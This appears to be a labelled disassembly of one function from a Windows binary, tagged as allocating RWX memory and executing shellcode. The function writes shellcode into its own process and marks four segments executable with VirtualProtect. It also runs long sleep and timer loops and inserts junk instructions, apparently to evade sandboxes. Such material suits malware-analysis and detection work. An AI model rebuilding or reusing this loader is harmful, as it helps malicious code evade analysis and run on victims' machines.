Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x404d68
push 0x40211f
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [section..data]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, ecx
mov dword [ebp - 0x3c], eax
push 4
push 0x3000
push dword [eax + 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x38], esi
test esi, esi
jne 0x40165a
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_allocate_memory_in_current_process._Error_code:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call section..text
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x40188a
mov dword [ebp - 0x34], 0x63
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
nop dword [eax]
mov esi, 0x3e8
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub esi, 1
jne 0x401675
sub dword [ebp - 0x34], 1
jne 0x401670
lea eax, [ebp - 0x20]
push eax
mov edi, dword [ebp - 0x3c]
push dword [edi + 4]
push dword [edi]
mov ebx, dword [ebp - 0x38]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40184d
mov edi, dword [edi + 4]
cmp dword [ebp - 0x20], edi
jne 0x40184d
shr edi, 2
lea eax, [ebp - 0x24]
push eax
push 0x40
push edi
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
jne 0x4016ea
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_change_protection_of_first_segment_of_memory_to_executable._Error_code:
jmp 0x40185e
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
lea eax, [edi + ebx]
push eax
call esi
test eax, eax
jne 0x401711
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_change_protection_of_second_segment_of_memory_to_executable._Error_code:
jmp 0x40185e
mov dword [ebp - 0x34], 0x63
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
nop
mov esi, 0x3e8
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esi, 1
jne 0x401725
sub dword [ebp - 0x34], 1
jne 0x401720
lea eax, [ebp - 0x2c]
push eax
push 0x40
push edi
mov esi, dword [ebp - 0x38]
lea eax, [esi + edi*2]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
test eax, eax
jne 0x4017b2
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_change_protection_of_third_segment_of_memory_to_executable._Error_code:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call section..text
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push 0
push esi
jmp 0x401884
lea eax, [ebp - 0x30]
push eax
push 0x40
push edi
lea eax, [esi + edi*2]
add eax, edi
push eax
call ebx
test eax, eax
jne 0x4017d8
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_change_protection_of_fourth_segment_of_memory_to_executable._Error_code:
jmp 0x401787
mov dword [ebp - 4], 0
xor eax, eax
push eax
pop eax
inc eax
dec eax
add eax, 0
sub eax, 0
xor ebx, ebx
push ebx
pop ebx
mov dword [ebp - 4], 0xfffffffe
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
jmp 0x40188c
push 0x401230
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_write_shellcode_to_current_process._Error_code:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call section..text
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00402111
mov esp, ebp
pop ebp
ret